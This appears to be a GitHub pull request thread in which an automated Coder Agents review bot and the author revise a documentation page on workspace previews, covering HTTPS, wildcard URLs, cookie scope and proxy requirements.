Browsers omit Sec-Fetch-Dest on plain-HTTP origins other than localhost, so servePreview (coderd/workspaceapps/preview.go:48-50) treats the framed request as a direct load and the panel shows "Previews open only inside a Coder chat. Open this preview from its chat." The user did open it from the chat, so neither the user nor the administrator links that message to HTTPS. Name the message in this sentence, for example: "Over plain HTTP, the preview tab shows 'Previews open only inside a Coder chat' even when the user opened it from the chat."

🤖

The browser sends those cookies to the user's other workspace apps, and to Coder itself when the access URL is under the same domain.
A preview can use such a cookie to overwrite a cookie that one of the user's other apps uses.

> [!WARNING]

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P3 [CRF-14] The secrets warning states the risk but gives the reader nothing to do about it. (Leorio)

The tool description gives the model the mitigation ("use a dedicated output directory without secrets", chattool/openpreview.go:152), but neither the administrator nor the chat user reading this page is told it. Add a line the reader can act on, for example: "Ask the agent to preview a dedicated output directory, such as a build output folder, not a project root or home directory."

🤖


- A port preview shows a plain HTTP server that already listens on a workspace port.
If the template sets `port_forwarding_helper = false` in the `display_apps` block of its `coder_agent` resource, Coder refuses port previews.
- A file preview shows an `.html` file, or a directory that contains `index.html`.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P4 [CRF-15] Lines 45 and 73 use "directory preview" as a kind of preview, but line 39 lists two kinds, port preview and file preview, and never defines it. (Gon)

A reader matches "needs a directory preview" against the two-item list and finds no such kind. Name both forms where the file preview is defined, for example: "A file preview shows an .html file (a single-file preview) or a directory that contains index.html (a directory preview)."

🤖

| `process_list` | List all tracked processes in the workspace |
| `process_signal` | Send a signal (terminate/kill) to a tracked process |
| `attach_file` | Attach a workspace file to the chat as a durable downloadable attachment |
| `open_preview` | Add a button that opens a workspace port or an `.html` file or directory in the chat's right panel. Refer to [Workspace previews](./platform-controls/open-preview.md) |

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Nit [CRF-16] The open_preview row is the only tool table row that ends with a "Refer to" link, and line 304 links to the same page. (Gon)

The computer_use entry links only in the sentence below the table. Drop the link from the row; the row also lacks the period its first sentence implies.

🤖

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Declined: style nit.

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Declined: open_preview is the only tool in the table that needs an administrator to enable it first, so its row links straight to the setup page for readers who scan the table; the sentence at line 304 serves readers of the prose below it.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The defense says open_preview is the only tool in the table that needs an administrator to enable it, but the spawn_agent (type=computer_use) row at line 282 also needs virtual desktop enabled, and its row has no link; its setup link is only in the sentence at line 295. As written, a reader scanning the table gets a setup link for one of the two admin-gated tools. Drop the link from this row, or give both rows a link, and end the row with a period. (Gon)

🤖

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Declined: you are right that spawn_agent with type=computer_use also needs an administrator, so our premise was wrong; we are still keeping the link because it points someone scanning the table at a required setup step, and no style rule asks every row to match.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Accepted. The link sends no reader to a wrong page.

🤖

@@ -0,0 +1,74 @@
---
title: Workspace previews

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Nit [CRF-17] The file is named open-preview.md while the page title, manifest titles, and link texts say "Workspace previews". (Gon)

Sibling pages use a filename that matches the title (virtual-desktop.md, mcp-servers.md, chat-debug-logging.md). Rename to workspace-previews.md and update the links and both manifest entries before the URL is published, or keep the name if it is meant to match the experiment.

🤖

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Declined: the filename matches the open-preview experiment name.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Accepted. Sibling pages already use filenames that differ from their titles, such as agent-isolation.md for "Network isolation".

🤖

`write_file` and `edit_files` remain available only for the chat-specific plan file under `.coder/plans/`.
Workspace MCP tools are unavailable in plan mode, and plan-mode sub-agents receive no MCP tools.

`open_preview` works only after an administrator enables [workspace previews](./platform-controls/open-preview.md).

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P4 [CRF-1] The overview's root-only sentence at line 292 does not list open_preview, so a reader concludes sub-agents get it. (Netero)

The tool is registered only under if isRootChat (coderd/x/chatd/turn_environment.go:722, appendRootChatTools), and only open-preview.md:33 states that. Add open_preview to the root-only sentence at line 292, and move this sentence next to the computer_use "works only after an administrator enables" sentence instead of after the plan-mode paragraph.

🤖

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The root-only list at line 292 now includes open_preview. The enablement sentence at line 304 still follows the plan-mode paragraph (lines 299 to 302), so a reader can take it as a plan-mode condition; move it next to the computer_use enablement sentence at line 295. (Netero)

🤖

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Declined: the sentence is a separate paragraph that states its own condition (an administrator enabling workspace previews) and says nothing about plan mode, so a reader cannot take it as a plan-mode rule.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Accepted. The sentence states its own condition, and open_preview is not available in plan mode, so no reading of it leads to a wrong action.

🤖

@DanielleMaywood

Copy link
Copy Markdown
Collaborator Author

/coder-agents-review

@coder-agents-review coder-agents-review Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The new commit addresses 12 of the 15 open findings from the previous review. Three findings have no change and no reply, so further review is blocked until each one gets a fix or a reply on its thread:

  • docs/coder-agents/platform-controls/open-preview.md port preview bullet (P4): the restriction still names only the template's display_apps block, but a dev container's customizations.coder.displayApps can also turn off port_forwarding_helper.
  • docs/coder-agents/index.md:276 (Nit): the open_preview tool table row still ends with a "Refer to" link that duplicates the line 304 link, and has no trailing period.
  • docs/coder-agents/platform-controls/open-preview.md:2 (Nit): the filename open-preview.md still differs from the "Workspace previews" title. Rename it, or reply that the URL is meant to match the experiment name.

A reply that explains why a finding should not change counts as a response.

🤖 This review was automatically generated with Coder Agents.

@DanielleMaywood

Copy link
Copy Markdown
Collaborator Author

/coder-agents-review

@coder-agents-review coder-agents-review Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

No new commits since the previous review. The replies on the dev container displayApps finding and the filename finding give reasons, and the panel will evaluate them next round. Review is still blocked on one finding: the reply on the docs/coder-agents/index.md:276 tool table row ("Declined: style nit.") restates the severity without a reason. To unblock, drop the "Refer to" link and add the period, or reply with why this row should differ from the other rows, for example that the link is meant to be the table's path to the page.

🤖 This review was automatically generated with Coder Agents.

@DanielleMaywood

Copy link
Copy Markdown
Collaborator Author

/coder-agents-review

@coder-agents-review coder-agents-review Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This round reviews the rewritten Workspace previews page at 22fc5b8c5b. New findings: 4 P3, 2 P4, 1 Nit. The reviewers checked the fixes to the --host-prefix-cookie requirement, the proxy wildcard requirement, the agent-restart behavior, the plain-HTTP error, the experiment list example, the flag form, the agent release requirement, the secrets warning, and the directory preview term against the code, and every quoted error string matches a literal in the stack. The dev container displayApps and filename defenses are accepted. The tool table link defense is not, and the overview's enablement sentence still sits after the plan-mode paragraph; both have replies on their threads.

Out of scope (needs a ticket or explicit acceptance by a human):

  • coderd/workspaceapps/preview.go:189: isFromOtherPreview matches only the receiving server's own wildcard, so requests from a workspace proxy's preview to the primary's apps, or the reverse, rely only on the preview CSP.
  • coderd/x/chatd/chattool/openpreview.go:179: the label length check ignores text that the region's wildcard adds around *, so the tool succeeds and the preview tab then shows "Invalid preview address." with no hint to shorten a name.
  • coderd/coderd.go:748: the primary deployment builds preview hosting without the same-site check that previewHostingFor applies to proxies, so a cross-site primary wildcard reports previews as available and then fails sign-in.

Notes:

  • 19 CI jobs fail on this head, starting with changes, and the job logs were not readable from the review environment. The docs checks (markdownlint-cli2, lint/docs-manifest, lint/docs-html, lint/emdash, lint/docs-redirects) pass locally.

🤖 This review was automatically generated with Coder Agents.

Inline scripts, inline styles, and `data:` and `blob:` URLs still work.
The browser blocks files from a content delivery network (CDN) or another server, so bundle those files with the page.
- The page can't send `fetch`, `XMLHttpRequest`, WebSocket, or form requests to other addresses.
Coder also refuses requests that a preview page sends to the user's other workspace apps.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P3 [CRF-31] "Coder also refuses requests that a preview page sends to the user's other workspace apps" holds only when the preview and the target app are under the same server's wildcard. (Razor)

Server.isFromOtherPreview (coderd/workspaceapps/preview.go:189) recognizes a preview origin only with the receiving server's own HostnameRegex, and its comment says previews on other servers, such as workspace proxies, "are left to their CSP". A preview served by a proxy at *.eu.coder.example.com that sends a request to a coderd app gets no server-side refusal, and line 51 requires that proxy to be same-site, so the browser attaches the user's cookies. Qualify the sentence, for example: "Coder also refuses requests that a preview page sends to the user's other workspace apps on the same wildcard access URL."

🤖

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed in fd684d6: the sentence now limits the server-side check to apps on the same wildcard access URL.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P4 [CRF-43] The fix narrows the refusal to apps "on the same wildcard access URL", but Coder also refuses preview requests to the same server's path-based apps, which are not on any wildcard access URL. (Leorio)

isFromOtherPreview runs for the preview host (workspaceapps/preview.go:36), subdomain apps (proxy.go:541), and path-based apps (proxy.go:374, "Path-based apps accept the user's dashboard session cookie"), and it matches an Origin that is a preview under the serving server's own wildcard. An administrator reading line 100 concludes path-based apps get no server-side refusal and may turn them off for a risk the code already blocks. Scope the sentence by server instead, for example: "Coder also refuses requests that a preview page sends to the user's other workspace apps, subdomain or path-based, that the same server serves."

🤖

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed in 4ad4e17: the sentence now covers subdomain and path-based apps that the same server serves.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Verified fixed in 4ad4e176e6: line 100 now covers subdomain and path-based apps on the serving server, matching proxy.go:374 and proxy.go:541.

🤖

- The access URL uses HTTPS.
Over plain HTTP, the preview tab shows an error page that says `Previews need an HTTPS access URL.` instead of the preview.
For local development, plain HTTP works when the wildcard access URL is under `localhost`, such as `*.coder.localhost`.
- The control plane runs with [`--host-prefix-cookie`](../../reference/cli/server/index.md#--host-prefix-cookie) (`CODER_HOST_PREFIX_COOKIE=true`), which stops scripts in a preview from replacing the user's Coder session cookie.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P3 [CRF-33] The page lists --host-prefix-cookie as a requirement but does not say what turning it on does to existing sessions and workspaces. (Pen Botter)

With the flag on, HTTPCookieConfig.Middleware drops every unprefixed coder_session_token cookie (codersdk/deployment.go:1186-1196), so every signed-in user is signed out once after the restart, and the flag's own description says it "is disruptive to any workspaces built before release 2.31, requiring a workspace restart" (codersdk/deployment.go:3700). An administrator trying an experimental feature gets both with no warning on this page. Add a sentence after line 21: turning on the flag signs every user out once and requires restarting workspaces built before 2.31, so schedule the change.

🤖

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Declined: you are right that turning on --host-prefix-cookie signs every user out once and the page does not say so, but that is the flag's own rollout behavior, the linked flag reference states the workspace restart requirement, and this page documents what previews need rather than restating that flag's effects.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Accepted. The missing sign-out warning belongs in the flag's own description, which is listed as out of scope in the review body.

🤖


- A port preview shows a plain HTTP server that already listens on a workspace port.
If the template sets `port_forwarding_helper = false` in the `display_apps` block of its `coder_agent` resource, the `open_preview` tool refuses port previews.
- A file preview shows a single `.html` file, or a directory that contains `index.html` (a directory preview).

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P3 [CRF-34] The page does not say that a preview hostname must fit in one 63-character DNS label. (Pen Botter)

A file preview label is preview--<8-character ID>--<agent>--<workspace>--<owner>, so the agent, workspace, and owner names together get at most 40 characters, and past that open_preview returns "The preview address would be longer than DNS allows. Use a shorter workspace or agent name." (chattool/openpreview.go:179-180, maxHostnameLabelLength = 63). For owner mathias-fredriksson, workspace coder-agents-review, and agent dev, the file preview label is 64 characters and fails while the port app label is 51 characters and works. State the limit in this section, and that a wildcard pattern that adds text around * lowers it.

🤖

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Declined: the limit is the general DNS label limit that already applies to every subdomain app, and open_preview reports it with a message naming the fix (a shorter workspace or agent name), so the page does not need to restate it.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Accepted, because the tool error names the fix. The limit is tighter than for other subdomain apps: a file preview label is 13 characters longer than a 4-digit port app label.

🤖


Workspace previews have three requirements on the control plane:

- The control plane has a [wildcard access URL](../../admin/networking/wildcard-access-url.md).

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P3 [CRF-35] The page requires a same-site wildcard only for workspace proxies, but previews on the primary deployment need the same condition. (Kurapika)

The preview sign-in cookie uses the deployment's SameSite setting (default Lax), and previewHostingFor (coderd/previews.go:226-231) notes that browsers send it from the dashboard's frame only when the two are the same site; the primary hosting is built with previewhost.Strict(options.AppHostname, ...) (coderd/coderd.go:748) without that check. With access URL coder.example.com and wildcard *.coder-apps.net, the preview frame is cross-site, so the browser does not send the preview session cookie and sign-in fails (inferred from the code and cookie rules, not run in a browser). Add to this requirement that the wildcard access URL must be under the same registrable domain as the access URL, as line 51 says for proxies.

🤖

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed in fd684d6: the page now states that the wildcard access URL must be on the same site as the access URL, with an example, and quotes the new cross-site messages.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Verified fixed in fd684d6bb5: lines 18 and 19 match the check and message at coderd/previews.go:224-225.

🤖

Workspace proxies serve previews with the same limits.

Coder can't stop scripts in a preview from setting cookies for a parent domain of the preview's address, such as the domain of the wildcard access URL.
The browser sends those cookies to the user's other workspace apps, and to Coder itself when the access URL is under the same domain.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P4 [CRF-36] "and to Coder itself when the access URL is under the same domain" presents as optional a condition that every working preview deployment meets. (Kurapika)

Previews work only when the preview host and the dashboard share a registrable domain (line 51, and the same-site requirement on the primary), so a preview script can always set Domain=<registrable domain> and the browser sends it to Coder. --host-prefix-cookie protects only coder_session_token (cookiesToPrefix, codersdk/deployment.go:1155-1157); other Coder cookies such as coder_path_app_session_token stay replaceable. Drop the condition and state that the browser sends these cookies to Coder.

🤖

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Declined: the clause states the actual browser rule for when a parent-domain cookie reaches Coder, and the next line already limits --host-prefix-cookie to the session cookie, so dropping the condition would not change what an administrator does.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Accepted. The clause is accurate, and --host-prefix-cookie, which the page already requires, is the only setting that changes the exposure.

🤖

### Workspace proxies

A preview loads through the [workspace proxy](../../admin/networking/workspace-proxies.md) that the user selects in the dashboard.
To serve previews, a workspace proxy needs its own wildcard access URL, HTTPS, and the same Coder release as the control plane.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P4 [CRF-37] "the workspace proxy that the user selects in the dashboard" omits that the dashboard selects the lowest-latency proxy for users who never chose one. (Leorio)

PreviewFrame.tsx:35 sends region_id from useProxy(), and ProxyContext.tsx:148-165 saves the lowest-latency healthy proxy as the selection when the user has none. An administrator who adds one proxy without a wildcard access URL expects users who never opened the proxy menu to load previews from the control plane, but every user closest to that proxy gets This region does not serve previews. Add: "If the user has not selected one, the dashboard selects the proxy with the lowest latency."

🤖

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Declined: the automatic choice is saved as the user's selected proxy and shows in the picker, and the page already requires a wildcard access URL on every proxy that serves previews, so an administrator following it is not misled.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Accepted. The automatic choice is saved as the selected proxy, so the picker shows the proxy the error refers to.

🤖


If the selected proxy has no wildcard access URL, the preview tab shows `This region does not serve previews.`
If the proxy's wildcard access URL is on another site, the preview tab shows the same message with the detail `previews need a workspace proxy on the same site as the dashboard: choose another region`.
To open the preview, the user can [select a workspace proxy](../../admin/networking/workspace-proxies.md#select-a-proxy) that meets these requirements, or the primary deployment.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Nit [CRF-32] "or the primary deployment" is a second name for the control plane, and neither name matches what the proxy picker shows. (Gon)

The page calls the Coder server "the control plane" at lines 14, 16, 21, 25, 29, 44, and 50, and the picker lists the primary region by its display name, which defaults to Default. Write "or the control plane's own region (named Default unless an administrator renamed it)".

🤖

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Declined: the proxy picker and the workspace proxy docs call this the primary region, so a reader can find it from this wording, and "primary deployment" matches the tool message quoted on line 17.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Accepted. The proxy picker describes it as the primary region ("If no region is selected, the primary region will be used."), so a reader can find it.

🤖

@DanielleMaywood

Copy link
Copy Markdown
Collaborator Author

/coder-agents-review

@coder-agents-review coder-agents-review Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This round reviews fd684d6bb5, which narrows the server-side refusal sentence and adds the same-site requirement for the primary wildcard. New findings: 1 P4, 1 Nit. Both changes match the code. The defenses on the overview sentence placement, the tool table link, "primary deployment", the --host-prefix-cookie rollout, the DNS label limit, the parent-domain cookie clause, and the automatic proxy selection are accepted; the threads have replies.

Out of scope (needs a ticket or explicit acceptance by a human):

  • codersdk/deployment.go:3700: the --host-prefix-cookie description says older workspaces need a restart but not that turning the flag on signs every browser user out of the dashboard once, so an administrator who turns it on, for previews or for its security benefit, signs out the whole deployment without warning.

Notes:

  • 19 CI jobs still fail on this head, and the job logs were not readable from the review environment. The docs checks pass locally.

🤖 This review was automatically generated with Coder Agents.


- The control plane has a [wildcard access URL](../../admin/networking/wildcard-access-url.md).
Without one, `open_preview` returns `previews need a wildcard app hostname on the primary deployment; tell the user an administrator can set one`.
The wildcard access URL must be on the same site as the access URL, which means under the same registrable domain, such as `*.coder.example.com` for `coder.example.com`.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Nit [CRF-44] Line 18 states the same-site rule against "the access URL", while line 53 and the error quoted on line 19 state it against "the dashboard". (Gon)

Both are the same rule, the wildcard sharing a registrable domain with the address the dashboard is served from, so a reader comparing lines 18 and 53 can take them as two conditions. Use one term in both places, for example "on the same site as the dashboard's access URL".

🤖

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Declined: line 18 defines the rule against the access URL with an example, and line 19 quotes the server's message verbatim. The dashboard is served from that access URL, so both describe the one check, and we are keeping the quoted text exact.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Accepted. Line 19 has to quote the server message verbatim, and the examples on lines 18 and 54 make clear that the dashboard is served from the access URL.

🤖

@DanielleMaywood

Copy link
Copy Markdown
Collaborator Author

/coder-agents-review

@coder-agents-review coder-agents-review Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This round reviews 4ad4e176e6, which rewrites the server-side refusal sentence at line 100. New findings: 1 Nit. The new sentence matches the code: isFromOtherPreview refuses path-based app requests (proxy.go:374) and subdomain app requests (proxy.go:541) from previews under the serving server's own wildcard. The defense on the same-site wording at line 18 is accepted. No other findings are open.

Notes:

  • CI jobs still fail on this head, and the job logs were not readable from the review environment. The docs checks pass locally.

🤖 This review was automatically generated with Coder Agents.

Inline scripts, inline styles, and `data:` and `blob:` URLs still work.
The browser blocks files from a content delivery network (CDN) or another server, so bundle those files with the page.
- The page can't send `fetch`, `XMLHttpRequest`, WebSocket, or form requests to other addresses.
Coder also refuses requests that a preview page sends to the user's other workspace apps, subdomain or path-based, that the same server serves.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Nit [CRF-48] "that the same server serves" adds "server" as a third name for what the page calls "the control plane" or "a workspace proxy", and the sentence names no server before "same". (Gon)

The reader has to work out that it means whichever of the two serves the preview. Write, for example, "that the control plane or workspace proxy serving the preview also serves".

🤖

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed in abf6571: the sentence now says "when the control plane or workspace proxy serving the preview also serves those apps".

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Verified fixed in abf65719db.

🤖

@DanielleMaywood

Copy link
Copy Markdown
Collaborator Author

/coder-agents-review

@coder-agents-review coder-agents-review Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This round reviews abf65719db, which rewords the server-side refusal sentence at line 100. No new findings, and no findings remain open: the new wording matches isFromOtherPreview, which refuses requests only when the server serving the preview also serves the target app (proxy.go:374, proxy.go:541). The out-of-scope items listed in earlier reviews still need a ticket or explicit acceptance by a human.

Notes:

  • CI jobs still fail on this head, and the job logs were not readable from the review environment. The docs checks pass locally.

🤖 This review was automatically generated with Coder Agents.

@DanielleMaywood

Copy link
Copy Markdown
Collaborator Author

/coder-agents-review

@coder-agents-review coder-agents-review Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This round reviews the rebase to 65898b5295. The PR's docs are unchanged since the previous review, and the lower stack changes between the two bases are comments, tests, and coderd/x/chatd/ARCHITECTURE.md, none of which changes a behavior the page describes. Every error and UI string the page quotes still appears in the code. No findings, and none remain open. The out-of-scope items listed in earlier reviews still need a ticket or explicit acceptance by a human.

Notes:

  • CI jobs still fail on this head, and the job logs were not readable from the review environment. The docs checks pass locally.

🤖 This review was automatically generated with Coder Agents.

Adds a Coder Agents platform controls page for workspace previews,
linked from the overview. It covers the prerequisites (wildcard access
URL, HTTPS, --host-prefix-cookie, a current workspace agent),
enabling the open-preview experiment, workspace proxy requirements,
port, file, and directory previews, owner-only access, and the strict
policy's restrictions and what it does not cover.

Co-Authored-By: Claude Opus 5.5 <[email protected]>
@DanielleMaywood

Copy link
Copy Markdown
Collaborator Author

/coder-agents-review

@coder-agents-review coder-agents-review Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This round reviews the rebase to 7e28f55d4d. The PR's docs are unchanged since the previous review. The lower stack now reads the workspace proxy in previewHostingFor with the caller's authorization; members hold workspace_proxy:read and the dashboard signs in with a full-scope session, so the page's description of This region does not serve previews. stays accurate for dashboard users. Every quoted error string still appears in the code. No findings, and none remain open. The out-of-scope items listed in earlier reviews still need a ticket or explicit acceptance by a human.

Notes:

  • CI jobs still fail on this head, and the job logs were not readable from the review environment. The docs checks pass locally.

🤖 This review was automatically generated with Coder Agents.

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

experimental Changes that might not necessarily be merged, until its approved to proceed with.

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant